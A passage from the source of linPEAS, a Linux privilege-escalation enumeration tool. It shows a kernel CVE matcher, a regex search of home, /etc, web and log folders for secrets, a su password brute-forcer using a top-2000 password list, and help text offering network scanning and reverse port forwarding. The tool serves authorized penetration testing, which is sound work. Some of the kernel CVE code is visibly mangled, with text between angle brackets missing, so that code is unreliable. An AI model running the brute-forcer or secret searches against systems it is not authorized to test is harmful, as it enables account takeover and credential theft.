$KERNEL_CVE_COMMENTS, $KERNEL_CVE_EXPL, $KERNEL_CVE_VERS, $KERNEL_CVE_VER_LINES, $KERNEL_CVE_ALT, $KERNEL_CVE_MIL, $KERNEL_CVE_TOKEN_OK, $KERNEL_CVE_MATCHES, $KERNEL_CVE_KERNEL_RELEASE, $KERNEL_CVE_KERNEL_VERSION, $KERNEL_CVE_KERNEL_ARCH, $KERNEL_CVE_KERNEL_OS, $KERNEL_CVE_VER, $KERNEL_CVE_OP, $KERNEL_CVE_REQVER, $KERNEL_CVE_CURVER, $KERNEL_CVE_CMP, $KERNEL_CVE_PRINT_ID, $KERNEL_CVE_PRINT_REASON, $KERNEL_CVE_ID_RAW, $KERNEL_CVE_ID_ITEM, $KERNEL_CVE_ID_OUT, $KERNEL_CVE_ALL_DATA, $KERNEL_CVE_PRINT_LINE # Fat linpeas: 0 # Small linpeas: 1 KERNEL_CVE_EXPL="" KERNEL_CVE_ALT="" KERNEL_CVE_MIL="" kercve_norm_ver() { printf "%s" "$1" | tr '-' '.' | sed 's/[^0-9.].*$//' | sed 's/\.\./\./g' | sed 's/^\.//' | sed 's/\.$//' } kercve_ver_cmp() { KERNEL_CVE_CURVER=$(kercve_norm_ver "$1") KERNEL_CVE_REQVER=$(kercve_norm_ver "$3") KERNEL_CVE_OP="$2" [ -z "$KERNEL_CVE_CURVER" ] && return 1 [ -z "$KERNEL_CVE_REQVER" ] && return 1 KERNEL_CVE_CMP=$(awk -v a="$KERNEL_CVE_CURVER" -v b="$KERNEL_CVE_REQVER" ' function clean(v){gsub(/[^0-9]/,"",v); if(v=="")v=0; return v+0} BEGIN{ na=split(a,A,"."); nb=split(b,B,"."); n=(na>nb?na:nb); for(i=1;i<=n;i++){ va=(i<=na?clean(A[i]):0); vb=(i<=nb?clean(B[i]):0); if(vavb){print 1; exit} } print 0 }') case "$KERNEL_CVE_OP" in '=') [ "$KERNEL_CVE_CMP" -eq 0 ] ;; '>') [ "$KERNEL_CVE_CMP" -gt 0 ] ;; '<') [ "$KERNEL_CVE_CMP" -lt 0 ] ;; '>=') [ "$KERNEL_CVE_CMP" -ge 0 ] ;; '<=') [ "$KERNEL_CVE_CMP" -le 0 ] ;; *) return 1 ;; esac } kercve_get_cfg_line() { KERNEL_CVE_CFG_KEY="$1" if [ -z "$KERNEL_CVE_CFG_SOURCE" ] || ! [ -r "$KERNEL_CVE_CFG_SOURCE" ]; then return 1 fi if printf "%s" "$KERNEL_CVE_CFG_SOURCE" | grep -q '\\.gz$'; then KERNEL_CVE_CFG_LINE=$(gzip -dc "$KERNEL_CVE_CFG_SOURCE" 2>/dev/null | grep -E "^(${KERNEL_CVE_CFG_KEY}=|# ${KERNEL_CVE_CFG_KEY} is not set)" | head -n1) else KERNEL_CVE_CFG_LINE=$(grep -E "^(${KERNEL_CVE_CFG_KEY}=|# ${KERNEL_CVE_CFG_KEY} is not set)" "$KERNEL_CVE_CFG_SOURCE" 2>/dev/null | head -n1) fi [ -n "$KERNEL_CVE_CFG_LINE" ] } kercve_eval_config_req() { KERNEL_CVE_CFG_EXPR="$1" [ -z "$KERNEL_CVE_CFG_SOURCE" ] && return 0 if printf "%s" "$KERNEL_CVE_CFG_EXPR" | grep -q '!='; then KERNEL_CVE_CFG_OP='!=' KERNEL_CVE_CFG_KEY=$(printf "%s" "$KERNEL_CVE_CFG_EXPR" | awk -F'!=' '{print $1}') KERNEL_CVE_CFG_EXPECT=$(printf "%s" "$KERNEL_CVE_CFG_EXPR" | awk -F'!=' '{print $2}') elif printf "%s" "$KERNEL_CVE_CFG_EXPR" | grep -q '='; then KERNEL_CVE_CFG_OP='=' KERNEL_CVE_CFG_KEY=$(printf "%s" "$KERNEL_CVE_CFG_EXPR" | awk -F'=' '{print $1}') KERNEL_CVE_CFG_EXPECT=$(printf "%s" "$KERNEL_CVE_CFG_EXPR" | awk -F'=' '{print $2}') else KERNEL_CVE_CFG_OP='present' KERNEL_CVE_CFG_KEY="$KERNEL_CVE_CFG_EXPR" KERNEL_CVE_CFG_EXPECT='[my]' fi if ! kercve_get_cfg_line "$KERNEL_CVE_CFG_KEY"; then return 0 fi if printf "%s" "$KERNEL_CVE_CFG_LINE" | grep -q '# .* is not set'; then KERNEL_CVE_CFG_CUR='n' else KERNEL_CVE_CFG_CUR=$(printf "%s" "$KERNEL_CVE_CFG_LINE" | awk -F'=' '{print $2}') fi if [ "$KERNEL_CVE_CFG_OP" = '!=' ]; then if printf "%s" "$KERNEL_CVE_CFG_EXPECT" | grep -q '\\[my\\]'; then ! printf "%s" "$KERNEL_CVE_CFG_CUR" | grep -Eq '^[my]$' else [ "$KERNEL_CVE_CFG_CUR" != "$KERNEL_CVE_CFG_EXPECT" ] fi return fi if printf "%s" "$KERNEL_CVE_CFG_EXPECT" | grep -q '\\[my\\]'; then printf "%s" "$KERNEL_CVE_CFG_CUR" | grep -Eq '^[my]$' return fi [ "$KERNEL_CVE_CFG_CUR" = "$KERNEL_CVE_CFG_EXPECT" ] } kercve_eval_sysctl_req() { KERNEL_CVE_SYS_EXPR="$1" if printf "%s" "$KERNEL_CVE_SYS_EXPR" | grep -q '!='; then KERNEL_CVE_SYS_OP='!=' KERNEL_CVE_SYS_KEY=$(printf "%s" "$KERNEL_CVE_SYS_EXPR" | awk -F'!=' '{print $1}') KERNEL_CVE_SYS_VAL=$(printf "%s" "$KERNEL_CVE_SYS_EXPR" | awk -F'!=' '{print $2}') elif printf "%s" "$KERNEL_CVE_SYS_EXPR" | grep -q '=='; then KERNEL_CVE_SYS_OP='==' KERNEL_CVE_SYS_KEY=$(printf "%s" "$KERNEL_CVE_SYS_EXPR" | awk -F'==' '{print $1}') KERNEL_CVE_SYS_VAL=$(printf "%s" "$KERNEL_CVE_SYS_EXPR" | awk -F'==' '{print $2}') else return 1 fi KERNEL_CVE_SYS_CUR=$(sysctl -n "$KERNEL_CVE_SYS_KEY" 2>/dev/null) [ -z "$KERNEL_CVE_SYS_CUR" ] && return 0 if [ "$KERNEL_CVE_SYS_OP" = '==' ]; then [ "$KERNEL_CVE_SYS_CUR" = "$KERNEL_CVE_SYS_VAL" ] else [ "$KERNEL_CVE_SYS_CUR" != "$KERNEL_CVE_SYS_VAL" ] fi } kercve_eval_req_token() { KERNEL_CVE_REQ="$1" [ -z "$KERNEL_CVE_REQ" ] && return 0 if printf "%s" "$KERNEL_CVE_REQ" | grep -q '^pkg='; then [ "$KERNEL_CVE_REQ" = 'pkg=linux-kernel' ] return fi if printf "%s" "$KERNEL_CVE_REQ" | grep -q '^ver'; then KERNEL_CVE_OP=$(printf "%s" "$KERNEL_CVE_REQ" | sed -E 's/^ver(<=|>=|=|<|>).*/\1/') KERNEL_CVE_VER=$(printf "%s" "$KERNEL_CVE_REQ" | sed -E 's/^ver(<=|>=|=|<|>)//') kercve_ver_cmp "$KERNEL_CVE_KERNEL_VERSION" "$KERNEL_CVE_OP" "$KERNEL_CVE_VER" return fi if [ "$KERNEL_CVE_REQ" = 'x86_64' ]; then [ "$KERNEL_CVE_KERNEL_ARCH" = 'x86_64' ] return fi if [ "$KERNEL_CVE_REQ" = 'x86' ]; then [ "$KERNEL_CVE_KERNEL_ARCH" = 'i386' ] || [ "$KERNEL_CVE_KERNEL_ARCH" = 'i686' ] || [ "$KERNEL_CVE_KERNEL_ARCH" = 'x86' ] return fi if printf "%s" "$KERNEL_CVE_REQ" | grep -q '^CONFIG_'; then kercve_eval_config_req "$KERNEL_CVE_REQ" return fi if printf "%s" "$KERNEL_CVE_REQ" | grep -q '^sysctl:'; then kercve_eval_sysctl_req "${KERNEL_CVE_REQ#sysctl:}" return fi if printf "%s" "$KERNEL_CVE_REQ" | grep -q '^cmd:'; then eval "${KERNEL_CVE_REQ#cmd:}" >/dev/null 2>&1 return fi return 1 } kercve_match_version_list() { KERNEL_CVE_VERS="$1" KERNEL_CVE_VER_LINES=$(printf "%s" "$KERNEL_CVE_VERS" | tr ',' '\n') while IFS= read -r KERNEL_CVE_VER; do KERNEL_CVE_VER=$(printf "%s" "$KERNEL_CVE_VER" | sed 's/^ *//;s/ *$//') [ -z "$KERNEL_CVE_VER" ] && continue if printf "%s" "$KERNEL_CVE_KERNEL_VERSION" | grep -Eq "^${KERNEL_CVE_VER}(\\.|-|$)"; then return 0 fi done </dev/null) KERNEL_CVE_KERNEL_RELEASE=$(uname -r 2>/dev/null) KERNEL_CVE_KERNEL_VERSION=$(kercve_norm_ver "$KERNEL_CVE_KERNEL_RELEASE") KERNEL_CVE_KERNEL_ARCH=$(uname -m 2>/dev/null) KERNEL_CVE_CFG_SOURCE="" for KERNEL_CVE_CFG_FILE in "/proc/config.gz" "/boot/config-$KERNEL_CVE_KERNEL_RELEASE" "/lib/modules/$KERNEL_CVE_KERNEL_RELEASE/build/.config" "/usr/lib/modules/$KERNEL_CVE_KERNEL_RELEASE/build/.config" "/usr/src/linux/.config"; do if [ -r "$KERNEL_CVE_CFG_FILE" ]; then KERNEL_CVE_CFG_SOURCE="$KERNEL_CVE_CFG_FILE" break fi done KERNEL_CVE_ALL_DATA=$(printf "%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s" \ "$KERNEL_CVE_DATA_1" "$KERNEL_CVE_DATA_2" "$KERNEL_CVE_DATA_3" "$KERNEL_CVE_DATA_4" "$KERNEL_CVE_DATA_5" \ "$KERNEL_CVE_DATA_6" "$KERNEL_CVE_DATA_7" "$KERNEL_CVE_DATA_8" "$KERNEL_CVE_DATA_9" "$KERNEL_CVE_DATA_10" \ "$KERNEL_CVE_DATA_11" "$KERNEL_CVE_DATA_12" "$KERNEL_CVE_DATA_13" "$KERNEL_CVE_DATA_14" "$KERNEL_CVE_DATA_15" \ "$KERNEL_CVE_DATA_16" "$KERNEL_CVE_DATA_17" "$KERNEL_CVE_DATA_18" "$KERNEL_CVE_DATA_19" "$KERNEL_CVE_DATA_20" \ "$KERNEL_CVE_DATA_21") print_list "Operating system ............. $KERNEL_CVE_KERNEL_OS\n" print_list "Kernel release ............... $KERNEL_CVE_KERNEL_RELEASE\n" print_list "Comparable version ........... $KERNEL_CVE_KERNEL_VERSION\n" print_list "Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..21)\n" if [ -n "$KERNEL_CVE_CFG_SOURCE" ]; then print_list "Kernel config source ......... $KERNEL_CVE_CFG_SOURCE\n" else print_list "Kernel config source ......... " echo_not_found "not available" fi if [ "$KERNEL_CVE_KERNEL_OS" != "Linux" ]; then print_list "Registry status .............. Linux kernel CVE datasets are not applicable to $KERNEL_CVE_KERNEL_OS\n" | sed -${E} "s,.*,${SED_GREEN}," return 0 fi KERNEL_CVE_MATCHES=0 while IFS=" " read -r KERNEL_CVE_ID KERNEL_CVE_NAME KERNEL_CVE_REQS KERNEL_CVE_TAGS KERNEL_CVE_RANK KERNEL_CVE_COMMENTS; do [ -z "$KERNEL_CVE_ID" ] && continue KERNEL_CVE_TOKEN_OK=1 if printf "%s" "$KERNEL_CVE_REQS" | grep -Eq '^pkg=|^ver|CONFIG_|sysctl:|cmd:|,pkg=|,ver|,CONFIG_|,sysctl:|,cmd:'; then KERNEL_CVE_REQ_LINES=$(printf "%s" "$KERNEL_CVE_REQS" | tr ',' '\n') while IFS= read -r KERNEL_CVE_REQ; do KERNEL_CVE_REQ=$(printf "%s" "$KERNEL_CVE_REQ" | sed 's/^ *//;s/ *$//') if ! kercve_eval_req_token "$KERNEL_CVE_REQ"; then KERNEL_CVE_TOKEN_OK=0 break fi done < ... # while others store: ... # Normalize whichever column contains the CVE identifier, but keep printing # all matched vulns even when no CVE exists for that row. KERNEL_CVE_ID_RAW="$KERNEL_CVE_ID" KERNEL_CVE_ID_NORM=$(kercve_normalize_cve_list "$KERNEL_CVE_ID_RAW") if [ -z "$KERNEL_CVE_ID_NORM" ]; then KERNEL_CVE_ID_NORM=$(kercve_normalize_cve_list "$KERNEL_CVE_NAME") if [ -n "$KERNEL_CVE_ID_NORM" ]; then KERNEL_CVE_NAME="$KERNEL_CVE_ID_RAW" fi fi if [ "$KERNEL_CVE_NAME" = "N/A" ] || [ "$KERNEL_CVE_NAME" = "n/a" ] || [ "$KERNEL_CVE_NAME" = "N\\A" ]; then KERNEL_CVE_NAME="" fi if [ "$KERNEL_CVE_ID_RAW" = "N/A" ] || [ "$KERNEL_CVE_ID_RAW" = "n/a" ] || [ "$KERNEL_CVE_ID_RAW" = "N\\A" ]; then KERNEL_CVE_ID_RAW="" fi KERNEL_CVE_PRINT_ID="$KERNEL_CVE_ID_NORM" if [ -z "$KERNEL_CVE_PRINT_ID" ] && printf "%s" "$KERNEL_CVE_ID_RAW" | grep -Eq '^CVE-|^[0-9]{4}-[0-9]+$'; then KERNEL_CVE_PRINT_ID=$(kercve_normalize_cve_list "$KERNEL_CVE_ID_RAW") fi KERNEL_CVE_MATCHES=$((KERNEL_CVE_MATCHES + 1)) kercve_print_match "$KERNEL_CVE_PRINT_ID" "$KERNEL_CVE_NAME" "$KERNEL_CVE_REQS" "$KERNEL_CVE_TAGS" "$KERNEL_CVE_RANK" "$KERNEL_CVE_COMMENTS" done <&1 | grep -q 'not signed'; then echo "$f isn't signed" | sed -${E} "s,.*,${SED_RED}," fi done } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/print_info.sh ================================================ # Title: LinPeasBase - print_info # ID: print_info # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Print info # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_info(){ printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/print_list.sh ================================================ # Title: LinPeasBase - print_list # ID: print_list # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Print list # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_list(){ printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/print_ps.sh ================================================ # Title: LinPeasBase - print_ps # ID: print_ps # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get processes reading /proc # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $CMDLINE, $USER2 # Fat linpeas: 0 # Small linpeas: 1 print_ps(){ (ls -d /proc/*/ 2>/dev/null | while read f; do CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); #Delete my own sed processess if [ "$CMDLINE" ]; then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3); printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE"; fi; done) 2>/dev/null | sort -r } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/search_for_regex.sh ================================================ # Title: API Keys Regex - search_for_regex # ID: search_for_regex # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Search for a given regex in the file system # License: GNU GPL # Version: 1.0 # Functions Used: print_3title_no_nl # Global Variables: $backup_folders_row, $HOMESEARCH, $ROOT_FOLDER, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $regex, $title, $caseSensitive # Fat linpeas: 0 # Small linpeas: 1 search_for_regex(){ title=$1 regex=$2 caseSensitive=$3 if [ "$caseSensitive" ]; then i="i" else i="" fi print_3title_no_nl "Searching $title..." if [ "$SEARCH_IN_FOLDER" ]; then timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & else # Search in home direcoties (usually the slowest) timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & # Search in etc timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & # Search in opt timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & # Search in possible web folders (usually only 1 will exist) timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & # Search in logs timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & # Search in backups timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & # Search in others folders (usually only /srv or /Applications will exist) timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & fi wait printf "\033[2K\r" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/su_brute_user_num.sh ================================================ # Title: LinPeasBase - su_brute_user_num # ID: su_brute_user_num # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Brute force users with a list of passwords # License: GNU GPL # Version: 1.0 # Functions Used: su_try_pwd # Global Variables: $PASSWORD, $top2000pwds # Initial Functions: # Generated Global Variables: $BFUSER, $TRIES # Fat linpeas: 0 # Small linpeas: 1 su_brute_user_num(){ BFUSER=$1 TRIES=$2 su_try_pwd "$BFUSER" "" & #Try without password su_try_pwd "$BFUSER" "$BFUSER" & #Try username as password su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & #Try reverse username as password if [ "$PASSWORD" ]; then su_try_pwd "$BFUSER" "$PASSWORD" & #Try given password fi for i in $(seq "$TRIES"); do su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & #Try TOP TRIES of passwords (by default 2000) sleep 0.007 # To not overload the system done wait } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/su_try_pwd.sh ================================================ # Title: LinPeasBase - su_try_pwd # ID: su_try_pwd # Author: Carlos Polop # Last Update: 15-12-2025 # Description: Try to login as user using a password # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $SED_RED_YELLOW # Initial Functions: # Generated Global Variables: $BFUSER, $PASSWORDTRY, $trysu # Fat linpeas: 0 # Small linpeas: 1 su_try_pwd(){ BFUSER=$1 PASSWORDTRY=$2 trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null) if [ $? -eq 0 ]; then echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/warn_exec.sh ================================================ # Title: LinPeasBase - warn_exec # ID: warn_exec # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Warn if a command is not found # License: GNU GPL # Version: 1.0 # Functions Used: echo_not_found # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 warn_exec(){ $* 2>/dev/null || echo_not_found $1 } ================================================ FILE: linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh ================================================ # Title: Variables - variables_base # ID: BS_variables_base # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Base variables for new Linpeas # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $VERSION, $ADVISORY, $IAMROOT, $MAXPATH_FIND_W, $C, $RED, $SED_RED, $GREEN, $SED_GREEN, $YELLOW, $SED_YELLOW, $RED_YELLOW, $SED_RED_YELLOW, $BLUE, $SED_BLUE, $ITALIC_BLUE, $LIGHT_MAGENTA, $SED_LIGHT_MAGENTA, $LIGHT_CYAN, $SED_LIGHT_CYAN, $LG, $SED_LG, $DG, $SED_DG, $NC, $UNDERLINED, $ITALIC, $MACPEAS, $FAST, $SUPERFAST, $DISCOVERY, $PORTS, $QUIET, $CHECKS, $MITRE_FILTER, $SEARCH_IN_FOLDER, $ROOT_FOLDER, $WAIT, $PASSWORD, $NOCOLOR, $DEBUG, $AUTO_NETWORK_SCAN, $EXTRA_CHECKS, $REGEXES, $PORT_FORWARD, $E, $PING, $FPING, $DISCOVER_BAN_BAD, $DISCOVER_BAN_GOOD, $SCAN_BAN_GOOD, $NMAP_GOOD, $SCRIPTNAME, $FOUND_BASH, $FOUND_NC, $HOMESEARCH, $GREPHOMESEARCH, $SCAN_BAN_BAD, $HOME, $THREADS, $opt, $HELP, $USER, $TOTAL_T1_TIME, $END_T1_TIME, $START_T1_TIME, $title, $title_len, $max_title_len, $rest_len, $CONT_THREADS, $wgroups, $SEDOVERFLOW, $Wfolders, $Wfolder, $grp, $END_T2_TIME, $TOTAL_T2_TIME, $START_T2_TIME, $_mitre_tag, $_mitre_filter, $_mitre_base, $_mitre_tags_left, $_mitre_filters_left # Fat linpeas: 0 # Small linpeas: 1 #!/bin/sh VERSION="ng" ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission." ########################################### #-------) Checks pre-everything (---------# ########################################### if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then IAMROOT="1" MAXPATH_FIND_W="3" else IAMROOT="" MAXPATH_FIND_W="7" fi ########################################### #---------------) Colors (----------------# ########################################### C=$(printf '\033') RED="${C}[1;31m" SED_RED="${C}[1;31m&${C}[0m" GREEN="${C}[1;32m" SED_GREEN="${C}[1;32m&${C}[0m" YELLOW="${C}[1;33m" SED_YELLOW="${C}[1;33m&${C}[0m" RED_YELLOW="${C}[1;31;103m" SED_RED_YELLOW="${C}[1;31;103m&${C}[0m" BLUE="${C}[1;34m" SED_BLUE="${C}[1;34m&${C}[0m" ITALIC_BLUE="${C}[1;34m${C}[3m" LIGHT_MAGENTA="${C}[1;95m" SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m" LIGHT_CYAN="${C}[1;96m" SED_LIGHT_CYAN="${C}[1;96m&${C}[0m" LG="${C}[1;37m" #LightGray SED_LG="${C}[1;37m&${C}[0m" DG="${C}[1;90m" #DarkGray SED_DG="${C}[1;90m&${C}[0m" NC="${C}[0m" UNDERLINED="${C}[5m" ITALIC="${C}[3m" ########################################### #---------) Parsing parameters (----------# ########################################### # --) FAST - Do not check 1min of procceses and su brute # --) SUPERFAST - FAST & do not search for special filaes in all the folders if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi FAST="1" #By default stealth/fast mode SUPERFAST="" DISCOVERY="" PORTS="" QUIET="" CHECKS="peass{CHECKS}" MITRE_FILTER="" SEARCH_IN_FOLDER="" ROOT_FOLDER="/" WAIT="" PASSWORD="" NOCOLOR="" DEBUG="" AUTO_NETWORK_SCAN="" EXTRA_CHECKS="" REGEXES="" PORT_FORWARD="" NOT_CHECK_EXTERNAL_HOSTNAME="" THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" [ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #If THREADS is not a number, put number 2 [ "$THREADS" -lt 1 ] 2>/dev/null && THREADS="2" #If THREADS is 0 or negative, put number 2 (avoids division-by-zero in eval_bckgrd) HELP=$GREEN"Enumerate and search Privilege Escalation vectors. ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. ${GREEN} Checks: ${YELLOW} -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks. ${YELLOW} -o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list. ${YELLOW} -T${BLUE} Only execute checks matching the specified MITRE ATT&CK technique(s).$DG Ex: -T T1057,T1082$BLUE ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) ${YELLOW} -e${BLUE} Perform extra enumeration ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' ${YELLOW} -n${BLUE} Do not check hostname & IP in known malicious lists and leaks ${YELLOW} -D${BLUE} Debug mode ${GREEN} Network recon: ${YELLOW} -t${BLUE} Automatic network scan - This option writes to files ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed ${GREEN} Port forwarding (reverse connection): ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT) ${GREEN} Firmware recon: ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder ${GREEN} Misc: ${YELLOW} -h${BLUE} To show this message ${YELLOW} -w${BLUE} Wait execution between big blocks of checks ${YELLOW} -L${BLUE} Force linpeas execution ${YELLOW} -M${BLUE} Force macpeas execution ${YELLOW} -q${BLUE} Do not show banner ${YELLOW} -N${BLUE} Do not use colours ${YELLOW} -z ${BLUE} Set number of threads for background checks (default: auto-detected CPU count, fallback: 2; must be >= 1)$NC" while getopts ":h?asd:p:i:P:qo:T:LMwNDterf:F:z:" opt; do case "$opt" in h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; a) FAST="";EXTRA_CHECKS="1";; s) SUPERFAST=1;; d) DISCOVERY=$OPTARG;; p) PORTS=$OPTARG;; i) IP=$OPTARG;; P) PASSWORD=$OPTARG;; n) NOT_CHECK_EXTERNAL_HOSTNAME="1";; q) QUIET=1;; o) CHECKS=$OPTARG;; T) MITRE_FILTER=$OPTARG;; L) MACPEAS="";; M) MACPEAS="1";; w) WAIT=1;; N) NOCOLOR="1";; D) DEBUG="1";; t) AUTO_NETWORK_SCAN="1";; e) EXTRA_CHECKS="1";; r) REGEXES="1";; f) SEARCH_IN_FOLDER=$OPTARG; if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; fi; ROOT_FOLDER=$SEARCH_IN_FOLDER; REGEXES="1"; CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";; F) PORT_FORWARD=$OPTARG;; z) if [ "$OPTARG" -eq "$OPTARG" ] 2>/dev/null && [ "$OPTARG" -ge 1 ] 2>/dev/null; then THREADS=$OPTARG; else echo "WARNING: -z requires an integer >= 1, ignoring." >&2; fi;; :) echo "ERROR: -$OPTARG requires an argument (e.g. -T T1082,T1552)" >&2; printf "%s\n\n" "$HELP$NC"; exit 1;; *) echo "ERROR: Unknown option -$OPTARG" >&2; printf "%s\n\n" "$HELP$NC"; exit 1;; esac done if [ "$MACPEAS" ]; then SCRIPTNAME="MacPEAS"; else SCRIPTNAME="LinPEAS"; fi if [ "$NOCOLOR" ]; then C="" RED="" SED_RED="&" GREEN="" SED_GREEN="&" YELLOW="" SED_YELLOW="&" SED_RED_YELLOW="&" BLUE="" SED_BLUE="&" ITALIC_BLUE="" LIGHT_MAGENTA="" SED_LIGHT_MAGENTA="&" LIGHT_CYAN="" SED_LIGHT_CYAN="&" LG="" SED_LG="&" DG="" SED_DG="&" NC="" UNDERLINED="" ITALIC="" fi # test if sed supports -E or -r E=E echo | sed -${E} 's/o/a/' 2>/dev/null if [ $? -ne 0 ] ; then echo | sed -r 's/o/a/' 2>/dev/null if [ $? -eq 0 ] ; then E=r else echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}" fi fi # on macOS the built-in echo does not support -n, use /bin/echo instead if [ "$MACPEAS" ] ; then alias echo=/bin/echo ; fi print_title(){ if [ "$DEBUG" ]; then END_T1_TIME=$(date +%s 2>/dev/null) if [ "$START_T1_TIME" ]; then TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) printf $DG"This check took $TOTAL_T1_TIME seconds\n"$NC fi END_T1_TIME=$(date +%s 2>/dev/null) if [ "$START_T1_TIME" ]; then TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC echo "" fi START_T1_TIME=$(date +%s 2>/dev/null) fi title=$1 title_len=$(echo $title | wc -c) max_title_len=80 rest_len=$((($max_title_len - $title_len) / 2)) printf "%s" "${BLUE}" for i in $(seq 1 $rest_len); do printf " "; done printf "╔" for i in 